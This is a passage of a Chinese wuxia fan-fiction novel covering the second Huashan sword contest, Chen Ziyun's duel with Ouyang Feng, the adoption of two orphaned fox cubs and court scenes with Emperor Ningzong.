陈子云嗤笑般的打趣了一句,可随即就正了脸色。 “我在这里替拙荆应下了。” “子云……” 赵茵萝显然还没有做好准备,见陈子云这般的答应,不由得有些急切了。 “茵萝,你是我在这个世界上见过的最聪明伶俐的女子。虽然有些教条似的东西还在束缚着你,但是我相信总有一天,你自己就会想着要跳出这个樊笼的。 你生来就不是一只被养在笼子里的孔雀,你是要翱翔九天的鸾凤。” 陈子云沉着的注视着赵茵萝,目光中含着的是殷切的鼓励。 赵茵萝心头有些慌乱,她隐隐能猜到陈子云说这番话的含义,可那背后的藏着的天大事件,让她有些不敢去想,只好先把这个天底下最恐怖的念头给藏起来。 “哈哈哈,子云兄,七兄,今天不是只谈江湖,不谈国事的吗,倒是你们先犯错了。” 段智兴似乎是听到了什么有趣的事情,哈哈笑道。 “不过,要是真有那般的事情发生,可千万记得先提醒一下我们这撮尔小国。否则,天上突然下雷霆,恐怕会吓坏我那些略微胆小的臣民啊。” 陈子云饶有深意的看了一眼段智兴,见对方眼中莫名的意味,随即明白了对方的意思,便朝着他抬手做礼。 可也就像段智兴说的,既然几人终究是犯了定下的规矩,那这场围炉煮茶也就只能到这里结束了。 至于该轮到段智兴的讲演,还有什么比一个国家之主的一句暗示更有价值的。 陈子云跟赵茵萝亲自将他们三位送到了院子门口,王重阳在离去的时候有些欲言又止。尤其是看着赵茵萝的时候,几次陈子云见他话已经到了喉头了,却还是没有说出来。 “茵萝,你信不信,要是刚才洪七没有说那番话,重阳真人一定会收你做亲传弟子的。 收一个公主做弟子,会让全真教增光。可要是收一个女皇做弟子,那就要了全真教的命了。” 陈子云回房间后对着赵茵萝说道。 “子云师父,连你也希望我走那一步吗?” 赵茵萝突然有些害怕的看着陈子云。 “茵萝,我不会逼你做任何事情。可有些事情不是说你不想做,就能逃避的过去的。 尤其是你长在皇家,很多事情你自己也是看在眼里的。 相信你自己也明白,如果你还是以前那个命不久矣,弱质纤纤的小公主,那自然大家相安无事。 可如今的你不但武功超绝,更是在见地上也绝对不差于任何一个朝臣,哪怕是你的爹爹。 他估计也发现了,只是一直不愿去面对这个问题。” 陈子云道。 “爹爹。” 赵茵萝喃喃自语着。 “茵萝,现在你也不用想太多,如今你爹爹也算是春秋鼎盛,我们又不是要造反,只是给这大宋多一个选择而已。 难道你就真能见得,等你爹爹百年之后,选一个你都没见过的堂哥或者堂弟来继承你爹爹付出了这么大心血的江山。 然后让你的娘娘一个人孤单的待在宫里,到时候你要进去探望还得再三请求,那是你能接受的吗?” 陈子云道。 “不,那怎么可以。那些人,怎么敢这样对爹爹娘娘。” 赵茵萝激动的道。 “茵萝,不是我在怂恿你,你只要回顾一下史书里类似的情形就能知道,我说不得并不是空穴来风。” “子云师傅,你先别说了,我还想不好。” “我知道,我知道,不急,不急的。” 陈子云将赵茵萝抱在了怀里,轻轻的拍着她的背脊,轻声安慰道 第二百〇七章 再战 第二天,华山上的风雪似乎更大了,不过这自然拦不住他们这些真正的高手。几人用完早点,就再次来到了北峰绝顶之上。 这一次第一场是由王重阳对战洪七,他们两个作为昨天的优胜方,先出手也是表明不想占昨天的便宜。 毕竟对于他们这些个差不多在同一层次的人来讲,就算是气力上差上一分,也是能决定胜负的。 与跟欧阳锋交手不同,虽然两人都没有放水的意思,但是都不会做到性命相搏的程度。当然也不用防着对方用什么阴招取胜,因为两人都知道对方是什么样的人物。 而这样一来,两人的交手就更加的无所顾忌,反而能将自己的本事发挥的淋漓尽致。 所以王重阳跟洪七的这一场比试,少了一份杀伐,却多了几分绝伦的精彩。 就算是他们几个观战的,看到两人每每绝妙的招式,都不由得击节而赞。 降龙十八掌至刚至强,打狗棒法变化精微。 履霜破冰掌看似柔弱,实则后劲无穷;全真剑法攻守自若,一气化三清妙到毫巅。 到了后面,所有人都能看得出来,王重阳确实要强了洪七半招,但是谁也不敢就此看不起这个乞丐装扮的豪杰。 先停手的是王重阳,可自动认输的却是洪七。 “真人武功已经超凡,洪七自愧不如。” 王重阳没有推辞,因为他知道对于洪七这样的磊落性格,自己要是过分的谦虚,反而会让对方觉得虚伪。 下面一场是段智兴对黄药师,他们两位也是昨天最为轻松的两位。不仅没有受伤,连消耗也是最小的,所以他们这一场排在第二。 段智兴自然是家传的一阳指对敌,此功可攻可守,在他使用来有一法破万法的精纯。 黄药师则是手中的功夫变化不断,从玉箫剑法到落英神剑掌,又从兰花拂穴手到弹指神通,再见劈空掌、旋风扫叶腿。 就是连观战的几人也有些眼花缭乱的错觉,要知道他们可不是什么没见识的江湖人物,而都是可以雄霸一方的江湖顶流。 对于这位东海奇人的佩服,不由得又上了一个台阶。一个人如果只是所学驳杂,那自然是得不到他们这般的赞叹的。 可对方却是把这些天差地远的功夫都练到了精妙处,更加可怖的是,这些奇功绝技还是黄药师自己所创。 想想对方的年纪,不由得感慨,有些人生来就是与众不同的天才人物。 而一直都是以一阳指对敌的段智兴,却是给几人上演了什么叫做以拙破巧,以一敌万。 正应了那句话,任他东西南北风,我自岿然不动。 “‘惟精惟一,允执厥中。’段王爷的一阳指已经到了如此境界,委实难得。” 王重阳瞧着对战中的两人点头夸赞道。 “师哥,你不觉得还是这黄药师的功夫更有意思,更好玩吗?” 周伯通这般的性格,自然是对黄药师那变化不断的招法更有兴趣。 对于段智兴那来来去去,似乎都是一指的呆板招式看不上。 “伯通,你切不可向黄药师学。药师兄的大才,不是普通人能够企及的。要是一般人如药师兄这般,不但精通各类杂学,还将武功演绎出如此多种变化。 哪怕是穷极一生也不会有药师兄如今一半的成就的。” 王重阳板着脸教训道。 “是是是,我知道了师兄,我就是看看,看看而已。” 周伯通向来是最怕自己这个师兄的,连忙说着软话,可眼睛还是不自觉的盯着黄药师变化多端的手段,嘴里还啧啧着,像是小孩子看到别的小孩的零食一般嘴馋。 王重阳也是了解自己这位师弟的禀性的,自然不会认为自己的一番话就能让对方收敛着天生的心性。 只是希望终有一天,他能自己醒悟,就是不知道自己…… 想到自己的越发压制不住的积年暗伤,王重阳这位道家真人也变得有些抑郁了。 随着时间的推移,打斗中的两人都显出了疲态,最后他们以一人点在对方的左肩,一人印在对方的胸口收场。 好在两人几乎像是说好似的,在最后一招时纷纷收力,只是轻轻在对方身上挨了一下。 “药师兄功夫精彩绝伦,小王拜服。” 段智兴率先开口道,一副谦虚的摸样。 “段兄如此说就是看不上黄某了,这场比试再打下去也是两败俱伤而已。黄某自问胜不得段兄分毫。” 黄药师直接抬手制止了段智兴的故意相让。 “两位本就是旗鼓相当,以段王爷的专精对药师兄的广博,着实让我们看了一场别开生面的比试。 精彩,实在是精彩的很,哈哈……” 洪七笑声豪迈的说道。 “不错,不错。” 王重阳也是赞许的点头。 “那接下来……” 众人皆是看向了陈子云跟欧阳锋,如今也就剩下他们两个了。 作为昨天两位负伤的人士,他们在此时一战倒也是公平合适的。 “峰兄,昨天我、你、药师兄三人对战,终究是有些意犹未尽,这次你我能单独交手,也算是弥补昨天的遗憾了。” 陈子云道。 要说如今在华山绝顶的这些人里,陈子云最想交手的是谁,那必然是非欧阳锋莫属了。 一方面是因为,除了他之外,陈子云已经跟其他的所有人都有过交手了,吸引力自然还是新鲜的好。 二来么,陈子云也不是泥塑的菩萨,昨天被欧阳锋在自己背上那样来了一下,难道他真的就没有半点的记恨? 而且,对于欧阳锋这种人,陈子云也能心安理得的放开手脚。完全不必顾及,自己太过于用力,会不会把对方给直接打死。 不说当年跟王重阳只是切磋论道,跟洪七也不过是一时之气,而对于黄药师,陈子云甚至在出小李飞刀的时候,都故意留了一手。 至于段智兴吗,说句实在话,他应该是这些人中最能了解他跟赵茵萝身份地位,以及对江湖态度的人。毕竟同为皇族,对方还是皇帝。 第二百〇八章 对战欧阳锋 “子云兄,昨天的那一掌实在是在下的无心之失,不知子云兄的伤势如何了?” 欧阳锋表情有些自责的关怀道。 “多谢峰兄关心,已经无碍,不知重阳真人的那一掌,峰兄可是也消化了。” 陈子云自然不会被对方这么浅显的激将法给刺激到。 “已经好了大半,还要多亏黄兄的九花玉露丸,果然是神丹妙药。” 欧阳锋煞有其事的朝着黄药师行了一礼。 几人自然的将目光转向黄药师,对方没有回应,只能当他是默认了。周伯通气呼呼的就想说什么,却是被王重阳给制止了。 虽然他们这些人都不会想着却占欧阳锋的便宜,可这样的人,黄药师竟然还给对方治伤,那就有些让人不解了。 而欧阳锋见到众人脸上表情,已经知道自己小小的离间计已然是成功了。 原来就是在昨晚,陈子云跟赵茵萝在自己房间里招待几人的时候,黄药师跟欧阳锋先行离开。 而欧阳锋却是直接找上了黄药师,讨要治伤的丹药。其实欧阳锋哪里是真的缺少伤药,只是见自己在众人之间好似被孤立。 想找个能联合的战友,而在他的观察中,也就是黄药师这位特立独行的怪侠,能够撬动众人的联合。 王重阳太过高深,他不敢乱来;洪七一看就是跟自己相对的性格自然也是不行;更不用说他恨不得杀之而后快的段智兴。 所以最后就只能选择黄药师作为突破口了,对方果然也没有让他失望。 即使昨天晚上其实是自己去求药的,但经过自己这么一表述,众人就会觉得是黄药师主动给自己送的药。 这就是在众人心中埋下了一根刺,他们以为自己跟黄药师达成了同盟,自然就会忌惮。 “既然如此,那我就不用留手了。是吧,峰兄?” 陈子云略微思索了片刻,就根据两人的性格猜出了一些其中的猫腻。不过他唯一怕的是欧阳锋不应战,既然他自己给了扶梯,那到时候,自己下重手就有理由了。 “子云兄说笑,比武切磋,要是处处留手,那还比什么!” 欧阳锋说这句话本来是为了自己,如果逼不得已,他就可以使出一些毒招阴招了。 想来只要他事先提醒了,到时候陈子云中招,也只能怪他自己了。 两人就在这种都想给对方留下深刻教训的心态下开始了对峙。 众人都察觉到了两人之间的不同寻常,场中的气氛开始变得诡秘。 突兀的,从绝顶崖边的一颗老松下,卷起了一堆残雪,瞬间模糊了两人之间的视线。 也就是在此时,两人似乎早就准备好似的,同时以迅雷之势冲向对方。 “啪啪啪,碰碰。” 两人在冲进那堆飞雪的瞬间,就传出了几声爆裂的交手之声。 众人只能依稀的看见,那两个人影在厚厚的白雪中进进退退,相互迅速交换着身位。 赵茵萝轻咬着自己的嘴唇,眼睛一眨不眨的盯着那堆变化不测的雪堆。 “啊丫丫,怎么突然来这么一堆雪,人都看不见,真是急死我了。” 周伯通则是在一边跺着脚嚷嚷着。对于他这个天真的武痴来讲,没什么比看不到一场精彩的高手对决跟让他着急的了。 不过好在,这雪堆终于是有落下去的时候,随着一声震耳欲聋的相撞之声,雪堆直接被一股绝强的力道给震的四散开来。 两个身上沾满了雪的身影,纷纷朝着后方急速而退。 等他们站定,所有人的目光都在他们身上来回的打量。高手之间的对决,可能是一场持久战,也可能是在分秒之间就分出胜负。 这就要看两人是如何的想法,是相互增进的比武切磋,还是一招就想定胜负的爆裂出击。 而这场比试开始前的氛围早就很清楚,两人明显是都不想简单放过对方的。 “咳咳。” 陈子云这两声咳嗽,直接就把赵茵萝的心都给提起来了。要不是王重阳一个稍安勿躁的眼神,说不得她此刻已经冲过去查看了。 “噗。” 欧阳锋则是直接突出了一口鲜血,虽然他已经提前捂住了嘴,可那从指缝中喷射出来的血浆,让所有人都知道,这第一回合,是陈子云占上风了。 不过,显然陈子云胜的也并不轻松,那几声咳嗽就足够证明,欧阳锋同样伤到了他。 如今这局面可以说是两败俱伤,按正常情况,这就等着哪位先认负了。 欧阳锋此时也抬起了手,沾着自己些许的血液,就想先退让一番。他可不希望自己在这种状态下参与后面的华山论剑。 终究,他来这里的目的,是为了九阴真经跟天下第一,而不是来跟谁死磕的。 可惜,欧阳锋想认输,陈子云却不这么认为。 就在欧阳锋准备开口之际,突然觉得自己的耳侧响起一丝轻吟的风声。在华山绝顶之上有风,按理说是最正常不过的事情。 可这风声却是带着一丝不祥的征兆,欧阳锋凭借着丰富的战斗直觉下意识的将自己的蛇杖往风声传来的方向一挡。 “叮……” 彷佛是一声铜铃的轻鸣。 欧阳锋并没有察觉到什么太大的力道,似乎只是不知道从哪里回来的一根铜针打算轻轻的他的脖颈上叮一口。 等他将注意力重新拉回到前面,却发现一把几乎透明的绯红色小刀,已经几乎到了他的鼻子前。 欧阳锋双目圆睁,瞳孔瞬间放大,脚下连连点地,让自己的身体在他能做到的最快的速度向后退去。 那口被他压下一半的鲜血顿时又涌上了喉头,嘴里憋着的就想认输的话,竟然一时之间难以开口说出。 陈子云再次抖动手中的细丝,相思小刀又加了一分速度,照着欧阳锋的咽喉再次逼近。 而他也是在分秒之间,就跟了上来,要是今天能在华山绝顶解决掉这位,那就是自己再接对方一掌也是值得的。 陈子云认为这世界上最可怕的无非是两种人,而欧阳锋恰恰占了其中之一。陈子云不会怕一个人武功出众,也不是怕一个没什么能力的小人。 可一旦这两种能力结合在一起,那就足够引起他的重视了。 第二百〇九章 白狐 欧阳锋这种不管武功,心性,头脑都是当世难寻的人物,要是真的在以后跟对方对上,绝对能让任何敌人头疼的。 陈子云不会因为欧阳锋的反派设定杀他,可既然赵茵萝已经有了走出那一步的打算,那这个将来很可能为金庭所用的武学宗师,就有杀他的理由了。 所以陈子云此时才会有这般就算忍着自己身上的伤痛,也要一追到底的决心。 既然相思已经出鞘,又怎么能没饮血就回袖中呢! 而欧阳锋作为同样的绝顶人物,自然也不会束手待毙,就算这第二回合陈子云占得了先机。 可随着他弃蛇杖,脱外衣,遗靴履,再加上全然不顾宗师身份的使出了驴打滚,狗吃泥这一类最实用的躲避招式,终究是被他赚回了半分机会。 让陈子云就算是连连抖动与相思小刀连接的金属丝也不曾真正的伤到欧阳锋。 “哈哈哈,好个癞蛤蟆。云朵,你再加油啊,把他身上的衣服都扒光。周伯通我正想看看,光皮的癞蛤蟆是什么摸样的。” 周伯通见到欧阳锋狼狈的场景捶胸顿足的哈哈大笑着,也不知道为何这两人似乎是天生的看不惯对方。 不过除了赵茵萝眉开眼笑之外,其他的几位却是更全神贯注的盯着两人。赞叹陈子云刀法神奇的同时,也是都在心里揣摩着欧阳锋的能屈能伸。 忌惮之心,自然是越发的加重了几分。 陈子云也是被欧阳锋的躲闪功夫给折腾的够呛,他们两人这般的追逐几乎已经跑遍了半个北峰的山头。 自己的刀却没有一下是真的切中过对方的要害,就算是陈子云如此的耐心也是被对方这样的无厘头的闪躲给恶心到了。 陈子云眼睛微微一眯,在看到欧阳锋即将靠近悬崖时,手中的金属丝随即回撤,令所有人意外的没有再度出击,而是持刀在手。 正在费力思索如何在悬崖边转折躲闪的欧阳锋被陈子云的突然停顿给弄得有些莫名其妙。 可这样的机会,他如何能不抓住,直接就想着侧身而过,只要自己能转个弯,他就有足够的时间,可以组织还击,再也不用这般狼狈的被追的跟狗一样了。 可欧阳锋刚迈出的那只已经被他遗弃了靴子的左脚,就感到一股刺入灵魂的寒意,从他脚尖传来。 不对,这不可能是雪地能给他造成的寒冷。 欧阳锋有些茫然的看向陈子云,只见对方神情庄重的看着手里的那把给他造成了天大窘迫的小刀。 那种神情,是他从来没有见过的,好像此时的陈子云把自己的一切都注入到了那边不过三寸的小刀之中。 那把绯红色的相思小刀在漫天大雪的映衬中,若如一堆燃烧着的火。 这小小的火堆并不灼烈。 但这朵如绽放的玫瑰一般的小火,彷佛在此时已经活了似的。反而陈子云脸上的表情却变得有些呆板,好像是他把自己的生命,自己的灵魂都赋予了这把小刀。 “来了,更难以抵挡了。” 旁观的几人也发现了陈子云的不对,黄药师却是说出了一句让人摸不着头脑的话。 “黄药师,什么来了?你在说什么?” 周伯通不解的问道。 “是小李飞刀。” 赵茵萝随口说了一句,也是神情紧张的盯着陈子云。她已经做好了上前照顾陈子云的准备,她也不曾见陈子云这么认真的发出小李飞刀了。但是她知道这一刀之后,必然就是陈子云最需要她的时候。 “这就是……” 众人纷纷领会,想起了陈子云曾经讲武的小李飞刀奥义,此时将心中的几分感悟与现在的陈子云的那种非凡的状态对比,果然是神奇无比的武学。 就连王重阳也是全神贯注的看着,这样的武学,他虽然已经听陈子云讲过,但其中的奥妙终究是有几分难以理解。 如今有亲眼目睹的机会,自然是绝对不肯轻易放过的。 可就在所有人都关注着陈子云即将出手一刀的时刻,这场对决的另一位主角却是做出让人更加瞠目的事情。 只见欧阳锋凭借着心中的那股忐忑不安,直接一跃就朝着华山北峰下的悬崖跳了下去。 除了已经到了不得不发,万物不在心的陈子云,所有人都震惊不已,纷纷起身从侧面朝着悬崖而去。 而陈子云手中的那一刀,在欧阳锋的衣角即将消失在悬崖上方的时候,终于也是出手了。 在众人还没有赶到悬崖边之前,一连两声凄厉的惨叫就从悬崖下传了上来。 一声自然是欧阳锋的,另一声却明显不是人类的叫唤。 赵茵萝扶住了陈子云有些摇摆的身体,而黄药师则是一到悬崖边就直接跳了下去。 段智兴往山崖下看了两眼,终究也是下去了。 王重阳在上面叹了一口气,将身上的宽大道袍脱下,在手中迅速旋转后与手中的拂尘相连,随即一甩将这跟大绳子往下一扔。 没多久,段智兴跟黄药师就把胸口插着相思小刀的欧阳锋给抬了上来。 虽然伤势严重,但是稍微看一眼就知道,欧阳锋暂时死不了。本来应该插在心口的小刀,不知为何偏离的半寸。 “子云兄,你的刀怎么每次都不准,哈哈。” 黄药师难得的笑了笑。 “我还以为,上次是你故意手下留情,原来是你技止步于此。“ 陈子云沉重的呼吸着,没有跟黄药师顶针的意思。 “恐怕不是子云兄的飞刀不准,而是这位峰兄命不该绝。” 后面上来的段智兴将一团被鲜血染红的毛球仍在了欧阳锋的旁边。 “咦,是一只白狐狸。” 周伯通好奇的蹲下身体,用手指戳了戳。 “可惜死了。” 陈子云深吸一口气,眼神阴郁的盯着如今已经犹如鱼肉的欧阳锋,心里念头闪烁。 “福生无量天尊。” 王重阳一声道喝,带着几分怜悯的用道袍将白狐裹起来,递给了陈子云。 一抹血红冲入陈子云的眼眸,在那浑身的雪白之上,是显得如此突兀。 一种根植于生灵内心深处的悲悯之前袭染了陈子云的心头,一个发自内心深处的声音在告诉他,是自己杀死了这头本不该死的白狐。 第二百一十章 收养 陈子云从王重阳手中接过道袍,抚摸着那已经有些发凉的皮毛,一种愧疚油然而生。 陈子云不是那种悲天悯人的素食主义者,也不讲究君子远庖厨那一套。 可当这头小生灵真的在自己手中消散的时候,内心却是不舒服的很。 “可怜的小东西。” 赵茵萝似乎也为这看着就惹人爱的小东西可惜。 “啾啾……” “什么声音?” 赵茵萝疑惑的朝着段智兴的怀里看了一眼。 “哈哈哈,本来还想我自己将这两只小家伙带回大理去的,看子云兄与嫂夫人的心思,怕是带不成了。” 段智兴说着就从怀里掏出了两只看着像是老鼠一般的小白狐,稀疏的毛发下是粉红色的小身体。 “啊,是这只狐狸的孩子吗,还没睁眼呢。” 赵茵萝将两只小东西接了过来。 “可怜的东西,还没见过母亲,就没了娘了。” 赵茵萝又将两小只放在白狐只剩一些余温的身体上。 本来还在不安的叫唤的小东西,一碰到母亲的身体就停止了挣扎,本能的去白狐的腹下寻找乳头。 与所有的哺乳动物动物一样,就算没有睁开眼睛的小狐狸也能凭着先天的直觉,准确的找到自己母亲的乳头所在。 竭力的吸吮着,母亲体内任然温润的乳汁。可怜这白狐在这冬季基本没有什么进食的身体,早就没有了多少乳汁。 估计也是在洞里生产后,饥饿的实在忍不住,才会在这个大雪纷飞的时候出来觅食。 好巧不巧的,刚好在这个时候被欧阳锋抓来挡了陈子云的飞刀。 陈子云将王重阳的道袍稍稍的合拢一些,为这两个小东西挡下被风吹进来的风雪。 “茵萝,我们给这两个小东西去找个奶妈吧。” 陈子云说道。 “好啊。” 赵茵萝立刻欣喜的答道。 “你要走?” 黄药师查看了一番欧阳锋,给他喂了两颗九花玉露丸之后起身说道。 陈子云点点头。 “诶,云朵,这华山论剑还没完呢,你走了不是亏大了。” 周伯通跳出来拦着陈子云道。 “这有什么亏不亏的,我跟茵萝即不想当天下第一,又不想要九阴真经。我们这趟来华山,也不过是想见识一番这天下的豪杰。 如今该见的也见了,该打的也打了。” 陈子云说着眼睛瞟了一下欧阳锋。 “现在最重要的事情,不过是给这两个小东西找个奶娘。他们的母亲算是死在我的刀下了,我自然要代替她将这两个小东西养大。” “子云,去吧。” 王重阳神情很是和蔼的说了一句,显然他也是认可陈子云的做法的。 “子云兄,我看这只白狐也不是凡品。这两个小东西要是训练得当,说不得能通人性。” 黄药师观察了一阵之后说道。 陈子云摇摇头。 “是不是凡品我并不在意,我想养他们,才是最重要的。” 来的时候是陈子云扶着赵茵萝上来的,现在下山却是换成了赵茵萝扶着他了。 “可惜了,如此的一个好对手,却走了。” 洪七有些惋惜的看着陈子云他们远去的方向。不过他既然没有阻止,说明内心其实是认可陈子云这样做的。 “是可惜了。” 段智兴也跟了一句。 “今天就先到此为止吧,我们先把人送到别院去。” 王重阳指指还躺在雪地里人事不知的欧阳锋道。 众人皆是点头,本来他们也不可能将欧阳锋撂在这里,然后心安理得的在一旁比武。 …… 陈子云跟赵茵萝刚来到华山脚下,就已经有一辆马车在等着他们了。 一个车夫打扮中年人见连人下来,赶紧迎了上来。 “老爷,夫人。” 陈子云朝着他点点头,算是回应,带着赵茵萝进了这豪华的马车。 马车里面包裹着几层棉絮,加上燃着的炭火,丝毫感觉不到外面的数九寒天。 怕两只小狐狸受不了炭火的烟熏,陈子云半开了一扇车窗。 “先去最近的镇上,找一只产奶的羊来。” 赵茵萝吩咐了一声准备开动的马车夫。 “好的,夫人。” “驾。” 随着马车夫的一声鞭响,本来已经快要在陈子云怀里睡着的两只小狐狸又开始啾啾的叫唤了。 可此时的那只白狐已经完全凉透了,再也不可能给它们任何温暖,更不可能给它们哺乳了。 赵茵萝小心的伸出自己纤细如玉的手指,递到其中一只的嘴前。 那只小东西,似乎感觉到了有什么东西靠近自己,也不管是什么张口就含了进去。 “啊呀。” 赵茵萝不自己觉的发出了一声惊呼。 “这小东西这么小就会咬人了。” 虽然这样说着,可她却没有将自己手指给抽出来。 小狐狸吸了两口,感觉没有乳汁被吸吮出来,就又开始啾啾的叫唤了。就像是人类的小孩一样,得不到母亲的哺乳就一直叫唤个没停。 两只小狐狸,音色一高一低,就像是双重奏一般,不知疲惫的叫换着。 “也许他们此时也终于意识到自己的母亲离开了自己,所以才会这样的不安吧。” “可他们连眼睛都没睁开,怎么会知道呢。” “有些东西本来就是超越五感之外的,或者说是这种感觉本来就是在五感产生之前,生物凭借感知世界的能力。 就好比一个尚未出生的胎儿,在母亲的肚子里就能与母亲交流一般。” 赵茵萝看看被王重阳的道袍完全包裹住的死去的白狐,又看看陈子云怀里的两个小不点。 “我们一定能把这两个小家伙养大的。” 陈子云没有回答,只是从一旁扯过自己的皮裘大衣,盖在两个小东西的身上。 没多久车子就驶入了一个小城之中,车夫熟络的找了一家客栈,让相熟的老板娘按照赵茵萝的吩咐去找正产奶的奶羊。 陈子云跟赵茵萝要先试验一番,这两个小东西是不是能吃得惯羊奶,要是的上了路才发现,可没地方给他们找别的奶妈去。 不过还好,这两个小东西倒是不挑食,只是那吃奶的劲头让这只赵茵萝从老板娘带来的三只奶羊中选出的最温顺的有些受不住。 第二百一十一章 布局 也是,毕竟羊崽子吃奶无论如何都是比不得这样的野狐狸的。 那种对于自己生命的珍惜,野生动物自然是远远大于被人类驯养了几千年的家畜的。 恐怕这些家畜连他们自己都不知道是什么时候开始,他们的基因已经能习惯人类时刻架在他们脖子上的屠刀了。 “子云师父,你看,这两个小东西吃的好有劲啊。” 赵茵萝欢喜的说道。 “嗯,我们先在这里住一夜,要是这两个小东西过了今晚没什么不良反应,大概就没问题了。” 陈子云道。 他这是以防万一,这两个小东西从狐狸奶换到羊奶会不会吃不惯,发生拉稀的情况。 这一夜陈子云睡的并不踏实,赵茵萝更是如此,她几次蹑手蹑脚的起床,查看那两只被裹在皮袄里的小东西,确认他们没事又回去自己的床上。 往返来复不知道多少次,一夜基本没怎么睡。 赵茵萝可怜这两个小东西是一方面,还有更重要的是因为,她知道陈子云对这两个小东西的愧疚之情,要是自己能好好抚养,那就是在帮陈子云解除心结。 就算是再小的疙瘩,但凡能帮到陈子云,她都是会竭尽全力的。这也是她难得能帮到陈子云做的事情了。 因为有两个小家伙在,他们自然无法骑马的。就只好由这辆马车带着他们,后面又吊着一只奶羊,缓缓朝着临安而去。 在他们经过湖北荆门附近的时候,这两只小东西终于睁开眼了。最先睁开的是那一只脚上有些淡黄色毛发的公狐狸,陈子云给他取了个简单的名字——小黄。 当时赵茵萝皱着眉头还不依,非要取什么“黄花地”,对应那只如她母亲一般雪白无暇的就叫“碧云天”。 可惜还是被陈子云当机立断的取了“小白”这个普通的不能再普通的名字。 陈子云给的理由很简单——贱名好养活。 这让赵茵萝很是不甘,可就算她如何撒娇,这次陈子云却意外的没有让步。 于是当两个小家伙醒着的时候,赵茵萝就一直不断的在它们耳边叫她取的名字。 “碧云天,黄花地,黄花地,碧云天。” 可两个小东西只是用黑秋秋闪灵灵的大眼睛无辜的瞧着她。 而每当陈子云只是轻轻呼唤一声“小黄,小白。” 这两个小东西就像是最听话的小狗一样,摇着小尾巴就屁颠屁颠的连滚带爬的朝着他去了。 “哼,小叛徒,明明都是我在给你们喂奶,为什么不听我的。” 赵茵萝气呼呼的说道。 陈子云只是笑笑,其实不管是那个种类的幼崽,他们都对第一次睁眼看到的生物有强烈的亲近感。 好巧不巧,这两个小东西睁眼的时候,刚好对着陈子云的方向。 …… 等陈子云他们回到临安,已经是四月天了。两个小东西已经能跑能跳,也不需要他们的那位奶娘了。 它们如今已经能自己将小块的肉撕碎,不过赵茵萝总是习惯先自己把肉切成条状喂养它们。 陈子云将做过防腐处理的白狐埋在了公主府那个他们平时练武的小院里,还给它竖了一块小墓碑。 “白狐。” 这两个字是陈子云用相思小刀刻上去的。 “小黄,小白,这里埋着的是你们的母亲,就算你们不记得了,也不能在这里挖洞,明白吗。 还有,小黄,你是当哥哥的,别老是欺负你妹妹,小心你母亲托梦教训你。” 赵茵萝也终于是放弃了她那两个诗意的名字,认命的开始叫陈子云取的所谓贱名。 两只小狐狸在小墓碑的四周闻闻,嗅嗅,可惜它们也只能闻到一些石灰粉的味道,那已经早就埋在记忆里的母亲的味道,已经忘却了。 “嘤嘤嘤。” 两只小东西撒欢似的在陈子云的脚边环绕着,这是在乞食呢。 说来也怪,不管赵茵萝如何的花费心思照料这两个小东西,它们亲昵的总是陈子云。 随后陈子云又回韩府去找了一趟韩侂胄,这位如今权势无两的当朝宰相,在跟陈子云在书房里待了将近两个时辰之后,总感觉自己的双脚发软,两股颤颤。 可不论看出了异样的韩夫人如何询问,韩侂胄只是摇头,半个字都不敢吐露。 陈子云倒是没什么变化,还是一片云淡风轻的样子。 倒是赵茵萝在进宫见了皇后之后,向宋宁宗申请了一个属于公主府的皇家庄园。 这本来就是应该给她的,毕竟南宋皇室就她一个公主,该有的那点东西自然少不了。 只是赵茵萝有韩皇后宠着,向来都对这种经营皇庄的事情不上心,何况她又没有缺过钱。 “到底是为人妇了,我家妞妞这是给夫家讨家产来了。” 宋宁宗看着自己爱女也是开起玩笑来了。 “爹爹。” 赵茵萝话音如黄鹂的撒娇道。 “哈哈哈,还知道害羞就好。说说,你们这是看上哪个皇庄了?” 宋宁宗也是有些日子不见赵茵萝了,此时也是稀罕着的。 “这里。” 赵茵萝指着宋宁宗摊开的临安地图,指着其中一个方位说道。 “这个啊。” 宋宁宗嘀咕了一句,用眼神示意了一下旁边的内侍。 内侍确认般的再看了一眼地图,随后就离开了,不久就拿着一本小册子回来了。 宋宁宗接过来看了两眼,他平时自然是不会仔细去过问这些琐碎的东西的。 可对于其中的一些数据,还是知道的。 “妞妞啊,这个皇庄可算不得好的,要不爹爹让人给你挑个更好些的?” 宋宁宗看着本子上的数据,大概了解了一下赵茵萝指定的这个皇庄的情况。 赵茵萝却是一把夺过了宋宁宗手中的本子,快的让对方根本来不及反应。 “不用了,就这个吧。我跟子云本来就是想要个离的近些的,至于里面有什么没关系,反正都要重新安排的。” “哎,你个小丫头,练了武功就是用来欺负你爹爹的?” 宋宁宗故意皱着眉头板着脸教训道。他也是难啊,以前就怕自己的你女儿弱不禁风,现在好了,可这厉害的又让他这个当爹的也把握不住了,真是左右都难啊。 第二百一十二章 牛家村 赵茵萝一达到目的就拿着本子就往外走。 “爹爹,我再去娘娘那里待会儿。” “这小妮子。” 宋宁宗只能无奈的在后面摇摇头,可嘴角的微笑却一直没停。 对于一个嫁出去的女儿,作为父亲最担忧的事什么,那就是不再把娘家当成自己的家,跟自己这个父亲生疏。 至于是什么皇庄,别说是赵茵萝要一个,就是要十个,宋宁宗也不会皱下眉头。 “知道怎么做了?” 宋宁宗朝那个内侍吩咐了一句。 “是,保证公主殿下收到的会是一个干干净净,跟本子上一模一样的皇庄。” 内侍恭敬的回道。 “嗯,去吧。” 宋宁宗挥挥手示意对方退下,至于说为什么皇庄会不干净,他连问的心思都没有。 就算明着跟宋宁宗说,这些皇庄有问题,可他哪里有时间去处理这些鸡毛蒜皮的事情。 无非就是自己那些宗族子弟的龌龊事情而已,可这些人即使再纨绔一些,肉毕竟还是烂在锅里的。 可如今他要关注的却是朝堂内外,不管是南宋历朝留下的沉疴,还是边疆从未安宁过的战事。 都已经牵扯了宋宁宗绝大部分的精力。 正当他准备再次伏案查看奏章的时候,似乎想到了什么,把已经拿起的那本奏章又放下了。 朝着一个无人的地方招招手,一个红色的的人影突兀的出现在了那里。 “茵萝的功夫到了什么层次了?” “登峰造极。” 这人的声音有些含糊,似乎就像是嘴里含了什么东西似的。 登峰造极?宋宁宗毕竟不是武人,不懂对方这个形容词的具体含义。 “与你比如何?” 宋宁宗问道。 可是这次那个红色的人影却意外的沉默了许久没有开口。 “怎么,朕问你话呢。“ 宋宁宗有些气恼。 “官家息怒,我只是在思索该如何回复您。” 红色人影不急不缓的说道。 “自然是如实说来。” 宋宁宗不悦的说道。 “如果说是内息,公主已经不弱与我,可要是生死相斗,公主接不下我十招。” 红色人影的语气变得尖利了几分。 